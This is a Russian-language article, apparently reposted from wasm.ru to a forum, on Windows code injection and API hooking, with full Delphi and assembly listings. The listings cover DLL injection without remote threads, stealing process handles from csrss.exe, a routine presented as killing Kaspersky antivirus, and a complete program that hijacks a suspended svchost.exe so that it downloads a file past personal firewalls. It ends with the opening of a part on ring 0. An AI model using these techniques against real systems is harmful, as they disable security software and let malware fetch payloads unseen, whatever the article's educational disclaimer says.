pModule := VirtualAllocEx(Process, pointer(ImageNtHeaders.OptionalHeader.
ImageBase + Offset),
ImageNtHeaders.OptionalHeader.
SizeOfImage,
MEM_COMMIT or MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
end;
until ((pModule <> nil) or (Offset > $30000000));
Lib := MapLibrary(Process, pModule, Src);
if Lib.ImageBase = nil then Exit;
DllLoadInfo.Module := Lib.ImageBase;
DllLoadInfo.EntryPoint := Lib.DllProcAddress;
WriteProcessMemory(Process, pModule, Lib.ImageBase, Lib.ImageSize, BytesWritten);
hThread := InjectThread(Process, @DllEntryPoint, @DllLoadInfo,
SizeOf(TDllLoadInfo), False);
if hThread <> 0 then Result := True
end;

В приведенном коде, как вы наверное заметили используется функция GetProcAddressEx для получения адреса API в целевом процессе.
Эта задача также выполняется с помощью внедрения кода и создания удаленных потоков.
Вот полный код этой функции:
{ Получение адреса API в чужом адресном пространстве }
function GetProcAddressEx(Process: dword; lpModuleName,
lpProcName: pchar; dwProcLen: dword): pointer;
type
TGetProcAddrExInfo = record
pExitThread: pointer;
pGetProcAddress: pointer;
pGetModuleHandle: pointer;
lpModuleName: pointer;
lpProcName: pointer;
end;
var
GetProcAddrExInfo: TGetProcAddrExInfo;
ExitCode: dword;
hThread: dword;
procedure GetProcAddrExThread(lpParameter: pointer); stdcall;
var
GetProcAddrExInfo: TGetProcAddrExInfo;
begin
GetProcAddrExInfo := TGetProcAddrExInfo(lpParameter^);
asm
push GetProcAddrExInfo.lpModuleName
call GetProcAddrExInfo.pGetModuleHandle
push GetProcAddrExInfo.lpProcName
push eax
call GetProcAddrExInfo.pGetProcAddress
push eax
call GetProcAddrExInfo.pExitThread
end;
end;
begin
Result := nil;
GetProcAddrExInfo.pGetModuleHandle := GetProcAddress(GetModuleHandle('kernel32.dll'),
'GetModuleHandleA');
GetProcAddrExInfo.pGetProcAddress := GetProcAddress(GetModuleHandle('kernel32.dll'),
'GetProcAddress');
GetProcAddrExInfo.pExitThread := GetProcAddress(GetModuleHandle('kernel32.dll'),
'ExitThread');
if dwProcLen = 4 then GetProcAddrExInfo.lpProcName := lpProcName else
GetProcAddrExInfo.lpProcName := InjectMemory(Process, lpProcName, dwProcLen);
GetProcAddrExInfo.lpModuleName := InjectString(Process, lpModuleName);
hThread := InjectThread(Process, @GetProcAddrExThread, @GetProcAddrExInfo,
SizeOf(GetProcAddrExInfo), False);
if hThread <> 0 then
begin
WaitForSingleObject(hThread, INFINITE);
GetExitCodeThread(hThread, ExitCode);
Result := pointer(ExitCode);
end;
end;

Эта функция используется при заполнении таблицы импорта внедряемой библиотеки адресами API.
Вышеприведенный метод весьма перспективен, но имеет одно ограничение: ни в самой виртуальной dll, ни в в самой программе по отношению к этой dll нельзя использовать API функции с параметром hModule - система не считает загруженную таким образом DLL за нормальную DLL, поэтому функции будут просто возвращать код ошибки. К примеру нельзя использовать стандартную GetProcAddress для получения адресов функций в этой DLL и нельзя использовать LoadResource из самой DLL.*
По этой же причине импортировать функции такая DLL может только из модулей загруженных стандартными средствами.


Анализ кода:
Как вы уже заметили, в процедурах перехвата API и внедрения кода используются функции SizeOfCode и SizeOfProc.
Функция SizeOfCode возвращает размер комманды по указателю (вместе с операндами), а функция SizeOfProc возвращает размер процедуры (участка кода от переданной точки входа до первой встреченной команды RET).
Самая сложная часть в данном методе - это анализ опкода инструкции. Для этого используется поиск по таблице опкодов, и определяется размер комманды и идущих с ней операндов.*
Код функции SizeOfCode я здесь приводить не буду, так как он имеет немалый размер, к тому же пришлось бы также описывать и основы дизассемблирования, поэтому код этой функции вы можете скачать в приложении к статье.
Функция SizeOfProc устроена очень просто, и поэтому я приведу здесь её код:
{ Получение размера функции по указател на нее (размер до первой комманды RET) }
function SizeOfProc(Proc: pointer): dword;
var
Length: dword;
begin
Result := 0;
repeat
Length := SizeOfCode(Proc);
Inc(Result, Length);
if ((Length = 1) and (byte(Proc^) = $C3)) then Break;
Proc := pointer(dword(Proc) + Length);
until Length = 0;
end;
Принцип работы этой функции - это просмотр команд анализируемого кода до встречи инструкции C3 (RET).




Открытие процесса. (способы получения хэндлов)
Для того чтобы установить перехват API в чужом процессе, нам необходимо каким-либо образом получить его хэндл. Наиболее просто это сделать с помощью API функции OpenProcess. Способ этот простой и универсальный, но подходит он не во всех случаях.
Например, нам необходимо обойти персональный фаерволл, и для этого способ внедрения кода в приложение, которому разрешен доступ к сети, но современные фаерволлы умеют отлавливать подобные попытки, например Outpost Fierwall Pro при обнаружении внедрения кода сразу же заблокирует сетевой доступ измененного приложения и известит об этом пользователя. Существуют также программы пресекающие попытки получить доступ к своей памяти (например антивирус Касперского). Но если немного пораскинуть мозгами, то можно придумать другие способы получения хэндла процесса, нежели OpenProcess.
Для обхода фаерволла вполне пригоден способ запуска доверенного приложения с помощью CreateProcess, функция возвращает в структуре _PROCESS_INFORMATION хэндл созданного процесса с правами доступа PROCESS_ALL_ACCESS, после чего можно производить над запущенным процессом любые действия.
Но если возникнет необходимость внедрения кода в запущенные процессы (например для установки глобального перехвата API, или для уничтожения антивируса) то придется придумывать что-нибудь новое.
Кратко рассмотрим запуск процесса в Windows NT:
1) Открытие исполняемого файла.
2) Создание секции (ZwCreateSection).
3) Создание обьекта процесса (ZwCreateProcess или ZwCreateProcessEx в Windows XP).
4) Создание окружения процесса (RtlCreateProcessParameters).
5) Создание главной нити процесса (ZwCreateThread).
6) Информирование сервера подсистемы о создании нового процесса (CsrClientCallServer).
7) Запуск главной нити нового процесса (ZwResumeThread).

Для нас важно то, что на шаге 6 происходит информирование сервера подсистемы о создании нового процесса, так как при этом происходит копирование хэндла созданного процесса в таблицу хэндлов сервера подсистемы. Итак, процесс csrss.exe всегда имеет хэндлы всех запущенных в данный момент процессов. Идея состоит в том, что можно скопировать хэндл нужного нам процесса в свою таблицу хэндлов, после чего использовать его для операций с памятью этого процесса.*
Копирование хэндлов выполняет функция Kernel32! DuplicateHandle:
function DuplicateHandle(hSourceProcessHandle, hSourceHandle,
hTargetProcessHandle: THandle;
lpTargetHandle: PHandle; dwDesiredAccess: DWORD;
bInheritHandle: BOOL; dwOptions: DWORD): BOOL; stdcall;
Принимаемые параметры:
hSourceProcessHandle - хэндл исходного процесса (откуда производится копирование),
hSourceHandle - копируемый хэндл в исходном процессе,
hTargetProcessHandle - хэндл целевого процесса (куда производится копирование),
lpTargetHandle - указатель, по которому будет сохранен хэндл применимый в целевом процессе,*
dwDesiredAccess - права доступа назначаемые новому хэндлу (не могут быть выше текущих прав доступа хэндла),
bInheritHandle - наследуемость хэндла,*
dwOptions - параметры копирования (DUPLICATE_CLOSE_SOURCE - исходный хэндл после копирования будет закрыт, DUPLICATE_SAME_ACCESS - просто скопировать хэндл (без изменения прав доступа).

Для того, чтобы скопировать нужный хэндл, нам нужно открыть процесс csrss.exe с флагом PROCESS_DUP_HANDLE, а также для этого необходимо знать значение интересующего нас хэндла в таблице исходного процесса.
Документированными способами получить список хэндлов в другом процессе невозможно, поэтому придется обратиться к Native API , где нас интересует функция ZwQuerySystemInformation:
Function ZwQuerySystemInformation(ASystemInformationClass:Cardinal;
ASystemInformation:Pointer;
ASystemInformationLength:Cardinal;
AReturnLength:PCardinal):NTStatus;
stdcall;external 'ntdll.dll';
Параметры принимаемые этой функцией я описал в прошлой статье "Перехват API функций в Windows NT", поэтому не буду подробно здесь описывать параметры принимаемые этой функцией.*
Для получения информации о хэндлах нам необходимо вызвать функцию ZwQuerySystemInformation с классом SystemHandleInformation (const SystemHandleInformation = $10
При этом функция возвращает структуру SYSTEM_HANDLE_INFORMATION_EX :
PSYSTEM_HANDLE_INFORMATION_EX = ^SYSTEM_HANDLE_INFORMATION_EX;
SYSTEM_HANDLE_INFORMATION_EX = packed record
NumberOfHandles: dword;
Information: array [0..0] of SYSTEM_HANDLE_INFORMATION;
end;
Элементами этой структуры являются NumberOfHandles - число возвращенных хэндлов, и массив элементов SYSTEM_HANDLE_INFORMATION:
PSYSTEM_HANDLE_INFORMATION = ^SYSTEM_HANDLE_INFORMATION;
SYSTEM_HANDLE_INFORMATION = packed record
ProcessId: dword;
ObjectTypeNumber: byte;
Flags: byte;
Handle: word;
pObject: pointer;
GrantedAccess: dword;
end;
Рассмотрим поля этой структуры:
ProcessId - идентификатор процесса владеющего данным хэндлом,
ObjectTypeNumber - тип объекта, который описывает хэндл (именовать типы можно через ZwQueryObject),
Flags - специфичные для каждого типа хэндла,
Handle - значение хэндла,
pObject - адрес структуры объекта в пространстве ядра,
GrantedAccess - маска доступа к объекту разрешенная для данного хэндла.

Для облегчения дальнейшей работы, введем функцию для получения любой системной информации через ZwQuerySystemInformation:
{ Получение буфера с системной информацией }
Function GetInfoTable(ATableType:dword):Pointer;
var
mSize: dword;
mPtr: pointer;
St: NTStatus;
begin
Result := nil;
mSize := $4000; //начальный размер буффера
repeat
mPtr := VirtualAlloc(nil, mSize, MEM_COMMIT or MEM_RESERVE, PAGE_READWRITE);
if mPtr = nil then Exit;
St := ZwQuerySystemInformation(ATableType, mPtr, mSize, nil);
if St = STATUS_INFO_LENGTH_MISMATCH then
begin //надо больше памяти
VirtualFree(mPtr, 0, MEM_RELEASE);
mSize := mSize * 2;
end;
until St <> STATUS_INFO_LENGTH_MISMATCH;
if St = STATUS_SUCCESS
then Result := mPtr
else VirtualFree(mPtr, 0, MEM_RELEASE);
end;
Получив список хэндлов, мы будем перебирать их, и сравнивать Id процесса владеющего хэндлом с id процесса csrss.exe. Нас интересуют хэндлы с ObjectTypeNumbe = 5, это хэндлы процессов.
После получения значения хэндла мы его скопируем в таблицу нашего процесса с помощью DuplicateHandle.
После этого нам нужно проверить, к какому процессу относиться полученный хэндл. Для этого можно использовать функцию ZwQueryInformationProcess:
Function ZwQueryInformationProcess(ProcessHandle:THANDLE;
ProcessInformationClassWORD;
ProcessInformationointer;
ProcessInformationLength:ULONG;
ReturnLength:PULONG):NTStatus;stdcall;
external 'ntdll.dll';
Принимаемые параметры:
ProcessHandle - хэндл процесса,
ProcessInformationClass - тип получаемой информации,
ProcessInformation - указатель на участок памяти, куда будет записана полученная информация,
ProcessInformationLength - размер выделенного участка памяти,
ReturnLength - возвращает размер записанной структуры (может быть nil).

Нас интересует тип информации - ProcessBasicInformation для которого возвращается следующая структура:
PPROCESS_BASIC_INFORMATION = ^_PROCESS_BASIC_INFORMATION;
_PROCESS_BASIC_INFORMATION = packed record
ExitStatus: BOOL;
PebBaseAddress: pointer;
AffinityMask: PULONG;
BasePriority: dword;
UniqueProcessId: ULONG;
InheritedFromUniqueProcessId: ULONG;
end;
Здесь нас интересует поле UniqueProcessId, которое и представляет искомый Id процесса.
Затем сравниваем полученный Id с id искомого процесса, и если они не равны, то закрываем полученный хэндл и продолжаем поиск.

Все вышеприведенное реализует следующий код:
{ получение хэндла процесса альтернативным методом }
Function OpenProcessEx(dwProcessId: DWORD): THandle;
var
HandlesInfo: PSYSTEM_HANDLE_INFORMATION_EX;
ProcessInfo: _PROCESS_BASIC_INFORMATION;
idCSRSS: dword;
hCSRSS : dword;
tHandle: dword;
r : dword;
begin
Result := 0;
//открываем процесс csrss.exe
idCSRSS := GetProcessId('csrss.exe');
hCSRSS := OpenProcess(PROCESS_DUP_HANDLE, false, idCSRSS);
if hCSRSS = 0 then Exit;
HandlesInfo := GetInfoTable(SystemHandleInformation);
if HandlesInfo <> nil then
for r := 0 to HandlesInfo^.NumberOfHandles do
if (HandlesInfo^.Information[r].ObjectTypeNumber = $5) and //тип хэндла - процесс
(HandlesInfo^.Information[r].ProcessId = idCSRSS) then //владелец - CSRSS
begin
//копируем хэндл себе
if DuplicateHandle(hCSRSS, HandlesInfo^.Information[r].Handle,
INVALID_HANDLE_VALUE, @tHandle, 0, false,
DUPLICATE_SAME_ACCESS) then
begin
ZwQueryInformationProcess(tHandle, ProcessBasicInformation,
@ProcessInfo,
SizeOf(_PROCESS_BASIC_INFORMATION), nil);
if ProcessInfo.UniqueProcessId = dwProcessId then
begin
VirtualFree(HandlesInfo, 0, MEM_RELEASE);
CloseHandle(hCSRSS);
Result := tHandle;
Exit;
end else CloseHandle(tHandle);
end;
end;
VirtualFree(HandlesInfo, 0, MEM_RELEASE);
CloseHandle(hCSRSS);
end;



Исполнение удаленного кода без CreateRemoteThread:
Ходят слухи, что существуют программы запрещающие исполнение CreateRemoteThread, и якобы это стопроцентная защита от API перехвата. Я не знаю, действительны ли эти слухи (не довелось увидеть еще такую программу), но предполагая их наличие решим задачу исполнения внедренного кода без использования удаленных потоков.
Задача эта не имеет в себе ничего сложного, и решается через функции GetThreadContext, SetThreadContext, которые служат для получения и установки контекста нити (содержимого её регистров). Для этого мы либо запускаем процесс и получаем хэндл его главной нити, либо открываем с помощью OpenThread нить принадлежащую работающему процессу, останавливаем нить (SuspendThread), после чего получаем контекст нити (GetThreadContext), изменяем содержимое регистра EIP так, чтобы он указывал на наш внедряемый код, потом запускаем нить (ResumeThread).
Следующий код запускает процесс "зомби", в контексте которого будет исполняться наша DLL:
{ создание процесса "зомби", в контексте которого будет выполняться наша DLL }
function CreateZombieProcess(lpCommandLine: pchar;
var lpProcessInformation: TProcessInformation;
ModulePath: PChar): boolean;
var
Memoryointer;
Code: dword;
BytesWritten: dword;
Context: _CONTEXT;
lpStartupInfo: TStartupInfo;
Inject: packed record
PushCommand : byte;
PushArgument: DWORD;
CallCommand: WORD;
CallAddr: DWORD;
PushExitThread: byte;
ExitThreadArg: dword;
CallExitThread: word;
CallExitThreadAddr: DWord;
AddrLoadLibrary: pointer;
AddrExitThread: pointer;
LibraryName: array[0..MAX_PATH] of Char;
end;
begin
Result := False;
//запускаем процесс
ZeroMemory(@lpStartupInfo, SizeOf(TStartupInfo));
lpStartupInfo.cb := SizeOf(TStartupInfo);
if not CreateProcess(nil, lpCommandLine, nil, nil,
false, CREATE_SUSPENDED, nil, nil,
lpStartupInfo, lpProcessInformation) then Exit;
//выделяем память для внедряемого кода
Memory := VirtualAllocEx(lpProcessInformation.hProcess, nil, SizeOf(Inject),
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if Memory = nil then
begin
TerminateProcess(lpProcessInformation.hProcess, 0);
Exit;
end;
Code := dword(Memory);
//инициализация внедряемого кода:
Inject.PushCommand := $68;
inject.PushArgument := code + $1E;
inject.CallCommand := $15FF;
inject.CallAddr := code + $16;
inject.PushExitThread := $68;
inject.ExitThreadArg := 0;
inject.CallExitThread := $15FF;
inject.CallExitThreadAddr := code + $1A;
inject.AddrLoadLibrary := GetProcAddress(GetModuleHandle('kernel32.dll'),
'LoadLibraryA');
inject.AddrExitThread := GetProcAddress(GetModuleHandle('kernel32.dll'),
'ExitThread');
lstrcpy(@inject.LibraryName, ModulePath);
//записать машинный код по зарезервированному адресу
WriteProcessMemory(lpProcessInformation.hProcess, Memory,
@inject, sizeof(inject), BytesWritten);
//получаем текущий контекст первичной нити процесса
Context.ContextFlags := CONTEXT_FULL;
GetThreadContext(lpProcessInformation.hThread, Context);
//изменяем контекст так, чтобы выполнялся наш код
Context.Eip := code;
SetThreadContext(lpProcessInformation.hThread, Context);
//запускаем нить
ResumeThread(lpProcessInformation.hThread);
end;
С работающим процессом так поступить будет немного труднее, так как необходимо обеспечить нормальное функционирование процесса после внедрения, а значит надо восстанавливать контекст потока после завершения удаленного кода. Узнать момент завершения внедренного кода будет трудно, поэтому нужно передать старое содержимое регистра eip в внедряемый код, и позаботиться о сохранности содержимого регистров. После выполнения, внедренный код должен восстановить содержимое регистров потока и передать управление в точку, где поток был прерван.*
Все это реализует следующий код:
{ Внедрение DLL альтернативным способом (без CreateRemoteThread) }
function InjectDllAlt(Process: dword; ModulePath: PChar): boolean;
var
Context: _CONTEXT;
hThread: dword;
ProcessInfo: _PROCESS_BASIC_INFORMATION;
InjData: packed record
OldEip: dword;
OldEsi: dword;
AdrLoadLibrary: pointer;
AdrLibName: pointer;
end;
Procedure Injector();
asm
pushad
db $E8 // опкод call short 0
dd 0 //
pop eax // eax - адрес текущей инструкции
add eax, $12
mov [eax], esi // модифицируем операнд dd $00000000
push [esi + $0C] // кладем в стек имя DLL
call [esi + $08] // call LoadLibraryA
popad
mov esi, [esi + $4] // восстанавливаем esi из старого контекста
dw $25FF // опкод Jmp dword ptr [00000000h]
dd $00000000 // модифицируемый операнд
ret
end;

begin
Result := false;
//получаем id процесса
ZwQueryInformationProcess(Process, ProcessBasicInformation,
@ProcessInfo,
SizeOf(_PROCESS_BASIC_INFORMATION), nil);
//открываем первую попавшуюся нить
hThread := OpenThread(THREAD_ALL_ACCESS, false,
SearchProcessThread(ProcessInfo.UniqueProcessId));
if hThread = 0 then Exit;
SuspendThread(hThread);
//сохраняем старый контекст
Context.ContextFlags := CONTEXT_FULL;
GetThreadContext(hThread, Context);
//подготавливаем данные для внедряемого кода
InjData.OldEip := Context.Eip;
InjData.OldEsi := Context.Esi;
InjData.AdrLoadLibrary := GetProcAddress(GetModuleHandle('kernel32.dll'),
'LoadLibraryA');
InjData.AdrLibName := InjectString(Process, ModulePath);
if InjData.AdrLibName = nil then Exit;
//внедряем данные и устанавливаем ebp контекста
Context.Esi := dword(InjectMemory(Process, @InjData, SizeOf(InjData)));
//внедряем код
Context.Eip := dword(InjectMemory(Process, @Injector, SizeOfProc(@Injector)));
//устанавливаем новый контекст
SetThreadContext(hThread, Context);
ResumeThread(hThread);
Result := true;
end;

В этом примере используется внедрение базонезависимого кода и структуры с необходимыми ему данными. Адрес данных передается в регистре esi. Код сохраняет содержимое всех регистров потока, загружает заданную DLL, после чего восстанавливаются регистры и производится переход на адрес, на котором был прерван поток. Так как нам нужно восстановить значения всех регистров, то нельзя использовать регистровый переход, но можно записать опкод команды jmp dword ptr [0] и модифицировать ее операнд налету, что и используется в приведенном примере.
Единственный недостаток этого метода в том, что если для внедрения мы используем нить находящуюся уже в приостановленном состоянии, то загрузка DLL произойдет тогда, когда нить выйдет из состояния ожидания.
Работа с контекстами потоков это только один из многих способов исполнения удаленного кода, можно например собрать код перехватчика какой-либо часто используемой API налету и внедрить перехват записью кода в уже загруженную библиотеку, в общем можно много чего придумать.



Практическое применение:
Убиваем антивирус Касперского:
Лаборатория Касперского заявляет, что их антивирус не может быть уничтожен вредоносными программами, сейчас мы докажем, что это не так.
Антивирус Касперского устанавливает в систему драйвер, который перехватывает в ядре функции Native API: ZwOpenProcess, ZwTerminateProcess и ZwTerminateThread, после чего запрещает любую работу этих API с своим процессом.
Для открытия процесса антивируса можно использовать метод OpenProcessEx. После этого мы получаем доступ к памяти антивируса, но прибить процесс через TerminateProcess по прежнему невозможно. Первое, что приходит в голову - это выполнить CreateRemoteThread с адресом Kernel32! ExitProcess, но этот метод не срабатывает, так как ExitProcess обращается к перехваченной ZwTerminateProcess. Но существует как всегда обходной способ. В наборе Native API в Windows XP есть функция DbgUiDebugActiveProcess предназначенная для взятия процесса в режим отладки, перед отладкой необходимо создать Debug обьект вызовом DbgUiConnectToDbg.
Вот прототипы этих функций:
Function DbgUiDebugActiveProcess(pHandle: dword): NTStatus;stdcall;external 'ntdll.dll';
Function DbgUiConnectToDbg(): NTStatus;stdcall;external 'ntdll.dll';
После перевода процесса в режим отладки он будет завершен при уничтожении связанного с ним Debug объекта, например это произойдет при завершении процесса отладчика. Нам нужно прибить отлаживаемый процесс, и при этом продолжить выполнение текущего процесса, значит нужно получить информацию о открытых нашим процессом хэндлах, найти и закрыть Debug объект.
Все эти действия производит следующий код:
{ убивание процесса отладочным методом }
Function DebugKillProcess(ProcessId: dword): boolean;
var
pHandle: dword;
myPID: dword;
HandlesInfo: PSYSTEM_HANDLE_INFORMATION_EX;
r: dword;
begin
Result := false;
myPID := GetCurrentProcessId();
if not EnableDebugPrivilege() then Exit;
//подключаемся к системе отладки и получаем DebugObject
if DbgUiConnectToDbg() <> STATUS_SUCCESS then Exit;
pHandle := OpenProcessEx(ProcessId);
//включаем отладку процесса
if DbgUiDebugActiveProcess(pHandle) <> STATUS_SUCCESS then Exit;
//надо найти полученный DebugObject
HandlesInfo := GetInfoTable(SystemHandleInformation);
if HandlesInfo = nil then Exit;
for r := 0 to HandlesInfo^.NumberOfHandles do
if (HandlesInfo^.Information[r].ProcessId = myPID) and
(HandlesInfo^.Information[r].ObjectTypeNumber = $8) //DebugObject
then begin
//закрываем DebugObject, что приводит к уничтожению отлаживаемого процесса
CloseHandle(HandlesInfo^.Information[r].Handle);
Result := true;
break;
end;
VirtualFree(HandlesInfo, 0, MEM_RELEASE);
end;
После чего антивирус Касперского убивается одной строкой:
DebugKillProcess(GetProcessId('kavmm.exe'));
Также, этим методом можно убить почти любую программу, авторы которой заявляют, что она неубиваемая.


Обходим фаерволл:
Сейчас для борьбы с троянскими программами на рынке ПО существует довольно много персональных продуктов. Это Zone Alarm, Kaspersky Anty Hacker, Kerio Personal Firewall, Agnitum Outpost Firewall и другие.
По моему мнению, наиболее продвинутым в области борьбы с методами внедрения кода является Agnitum Outpost Firewall Pro, который обеспечивает контроль DLL используемых приложением, контроль OpenProcess (блокирует сетевой доступ при изменении памяти другим приложением) и так называемый контроль скрытых процессов (процессов запущенных с флагом WM_HIDE, тоесть с скрытым окном, а не по-настоящему скрытых процессов). Сейчас мы напишем программу, которая будет получать данные из интернета в обход правил фаерволла.*
Фаерволлы контролируют запись в память, но при создании нового процесса производится запись в его память со стороны родительского процесса, поэтому фаерволлы начинают контролировать запись в память только с момента запуска первой нити процесса. Также фаерволлы контролируют создание удаленных потоков, поэтому мы будем использовать манипуляцию с контекстами главной нити процесса. Общий алгоритм таков: запускается процесс которому разрешено коннектиться на 80 TCP порт, при запуске устанавливается флаг CREATE_SUSPENDED чтобы его первая нить не была запущена, внедряется код загрузчика файлов (нельзя использовать ни DLL Injection ни в каком виде), изменяется контекст первой нити так, чтобы регистр Eip указывал на точку входа внедренного кода, после чего производиться запуск нити.*
Код загрузчика должен быт написан с применением только kernel32.dll и wsock32.dll, так как других библиотек в контексте приложения может и не быть, а их загрузка будет замечена фаерволлом.
Вот полный исходный текст программы загружающей файл по URL http://192.168.0.58/1.mp3 в корень диска C:
program Fire****;
uses
Windows, WinSock;
{$IMAGEBASE $13140000}
{ Определение положения подстроки в строке }
Function MyPos(Substr, Str: PChar): dword; stdcall;
asm
mov eax, Substr
mov edx, str
test eax, eax
je @noWork
test edx, edx
je @stringEmpty
push ebx
push esi
push edi
mov esi, eax
mov edi, edx
push eax
push edx
call lstrlen
mov ecx, eax
pop eax
push edi
push eax
push eax
call lstrlen
mov edx, eax
pop eax
dec edx
js @fail
mov al, [esi]
inc esi
sub ecx, edx
jle @fail

@loop:
repne scasb
jne @fail
mov ebx, ecx
push esi
push edi
mov ecx, edx
repe cmpsb
pop edi
pop esi
je @found
mov ecx, ebx
jmp @loop
@fail:
pop edx
xor eax, eax
jmp @exit
@stringEmpty:
xor eax, eax
jmp @noWork
@found:
pop edx
mov eax, edi
sub eax, edx
@exit:
pop edi
pop esi
pop ebx

@noWork:
end;
{ Копирование строк }
Function MyCopy(S:PChar; Index, Count: Dword): PChar; stdcall;
asm
mov eax, Count
inc eax
push eax
push LPTR
call LocalAlloc
mov edi, eax
mov ecx, Count
mov esi, S
add esi, Index
dec esi
rep movsb
end;
{ Копирование участка памяти }
procedure MyCopyMemory(Destination: Pointer; Source: Pointer; Length: DWORD);
asm
push ecx
push esi
push edi
mov esi, Source
mov edi, Destination
mov ecx, Length
rep movsb
pop edi
pop esi
pop ecx
end;
Function DownloadFile(Address: PChar; var ReturnSize: dword): pointer;
var
Buffer: pointer;
BufferLength: dword;
BufferUsed: dword;
Bytes: integer;
Header: PChar;
Site: PChar;
URL: PChar;
FSocket: integer;
SockAddrIn: TSockAddrIn;
HostEnt: PHostEnt;
Str: PChar;
WSAData: TWSAData;
hHeap: dword;
begin
Result := nil;
hHeap := GetProcessHeap();
WSAStartup(257, WSAData);
Site := MyCopy(Address, 1, MyPos('/', Address) - 1);
URL := MyCopy(Address, MyPos('/', Address), lstrlen(Address) - MyPos('/', Address) + 1);
Buffer := HeapAlloc(hHeap, 0, 1024);
try
BufferLength := 1024;
BufferUsed := 0;
FSocket := socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
SockAddrIn.sin_family := AF_INET;
SockAddrIn.sin_port := htons(80);
SockAddrIn.sin_addr.s_addr := inet_addr(Site);
if SockAddrIn.sin_addr.s_addr = INADDR_NONE then
begin
HostEnt := gethostbyname(Site);
if HostEnt = nil then Exit;
SockAddrIn.sin_addr.s_addr := Longint(PLongint(HostEnt^.h_addr_list^)^);
end;
if Connect(FSocket, SockAddrIn, SizeOf(SockAddrIn)) = -1 then Exit;
Str := HeapAlloc(hHeap, 0, 1024);
lstrcpy(Str, 'GET ');
lstrcat(Str, URL);
lstrcat(Str, ' HTTP/1.0'#10#13'Host: ');
lstrcat(Str, Site);
lstrcat(Str, #13#10'Connection: close'#13#10#13#10);
send(FSocket, Str^, lstrlen(Str), 0);
HeapFree(hHeap, 0, Str);
repeat
if BufferLength - BufferUsed < 1024 then
begin
Inc(BufferLength, 1024);
Buffer := HeapReAlloc(hHeap, 0, Buffer, BufferLength);
end;
Bytes := recv(FSocket, pointer(dword(Buffer) + BufferUsed)^, 1024, 0);
if Bytes > 0 then Inc(BufferUsed, Bytes);
until (Bytes = 0) or (Bytes = SOCKET_ERROR);
Header := MyCopy(Buffer, 1, MyPos(#13#10#13#10, Buffer) + 3);
ReturnSize := BufferUsed - lstrlen(header);
Result := VirtualAlloc(nil, ReturnSize, MEM_COMMIT or
MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if Result = nil then Exit;
MyCopyMemory(Result, pointer(dword(Buffer) + lstrlen(header)), ReturnSize);
finally
HeapFree(hHeap, 0, Buffer);
end;
end;
{ процедура выполняющаяся в контексте доверенного приложения }
Procedure Download(); stdcall;
const
URL : PChar = '192.168.0.58/1.mp3';
var
Buff: pointer;
Size: dword;
Bytes: dword;
dFile: dword;
begin
LoadLibrary('wsock32.dll');
Buff := DownloadFile(URL, Size);
dFile := CreateFile('c:\1.mp3', GENERIC_WRITE, 0, nil, CREATE_NEW, 0, 0);
WriteFile(dFile, Buff^, Size, Bytes, nil);
CloseHandle(dFile);
ExitProcess(0);
end;
var
St: TStartupInfo;
Pr: TProcessInformation;
InjectSize: dword;
Code: pointer;
Injected: pointer;
BytesWritten: dword;
Context: _CONTEXT;

begin
ZeroMemory(@St, SizeOf(TStartupInfo));
St.cb := SizeOf(TStartupInfo);
St.wShowWindow := SW_SHOW;
//запускаем процесс, которому разрешено лезть на 80 порт
CreateProcess(nil, 'svchost.exe', nil, nil, false,
CREATE_SUSPENDED, nil, nil, St, Pr);
Code := pointer(GetModuleHandle(nil));
InjectSize := PImageOptionalHeader(pointer(integer(Code) +
PImageDosHeader(Code)._lfanew +
SizeOf(dword) +
SizeOf(TImageFileHeader))).SizeOfImage;
//выделяем память в процессе
Injected := VirtualAllocEx(Pr.hProcess, Code, InjectSize, MEM_COMMIT or
MEM_RESERVE, PAGE_EXECUTE_READWRITE);
//внедряем код
WriteProcessMemory(Pr.hProcess, Injected, Code, InjectSize, BytesWritten);
//изменяем контекст нити
Context.ContextFlags := CONTEXT_FULL;
GetThreadContext(Pr.hThread, Context);
Context.Eip := dword(@Download);
SetThreadContext(Pr.hThread, Context);
//запускаем процесс
ResumeThread(Pr.hThread);
end.


Заключение:
Из всего вышесказанного следует, что технологии внедрения кода и перехвата API могут служить для обхода практически любой защиты и создания чрезвычайно опасных вредоносных программ. Также они могут быть использованы и для создания систем безопасности. Также вышеприведенные примеры показывают, что как бы производители не рекламировали непробиваемость своих фаерволлов, все равно они спасают только от самых примитивных вредоносных программ. Здесь приведен пример "чистого", полностью программного обхода фаерволла, но это можно сделать гораздо проще, если подключить троянскую DLL к разрешенной программе, так как большинство пользователей проигнорируют сообщение фаерволла и разрешат доступ. Надежность антивирусов тоже не следует считать достаточной, так как они могут быть легко уничтожены вредоносной программой. В настоящее время от подобных приемов защиты не существует, поэтому нужно быть осторожным при установке нового софта, так как неизвестно, что может в себе содержать любая программа.*
Также хочу заметить, что ВСЕ ПРИВЕДЕННОЕ В ЭТОЙ СТАТЬЕ МОЖЕТ БЫТЬ ИСПОЛЬЗОВАНО ТОЛЬКО В УЧЕБНО-ПОЗАВАТЕЛЬНЫХ ЦЕЛЯХ. Автор не несет никакой ответственности за любой ущерб нанесенный применением полученных знаний. Также приведенные здесь примеры не имеют цель нанести какой-либо ущерб лаборатории Касперского и компании Agnitum, а лишь призваны показать уязвимости в их продуктах.*
Если вы с этим не согласны, то пожалуйста удалите статью с всех имеющихся у вас носителей информации и забудьте прочитанное.

Источник <http://wasm.ru/article.php?article=apihook_2>




Добавлено через 1 минуту
Часть три:
Кликните здесь для просмотра всего текста
Перехват API функций в Windows NT (часть 3). Нулевое кольцо.

Как известно, в процессорах серии X86 и совместимых с ними присутствует аппаратная поддержка многозадачности и защиты. Код может исполняться на одном из четырех уровней (колец) защиты. Наиболее привилегированным является нулевое кольцо, наименее привилегированным - третье. В нулевом кольце можно все: доступны привилегированные команды, порты ввода-вывода, и вся память. В других кольцах могут быть установлены другие правила: запрет некоторых команд, запрет ввода-вывода и.т.д. Между уровнями защиты можно переключаться только через специальные шлюзы, определенные в системных таблицах процессора (GDT, LDT, IDT). Доступ к памяти в защищенном режиме происходит только через селекторы находящиеся в этих таблицах, а у каждого селектора есть уровень привилегий необходимый для его использования. Подобная система позволяет изолировать код, выполняющийся на непривилегированных уровнях защиты, и полностью контролировать его исполнение с помощью кода нулевого кольца.*
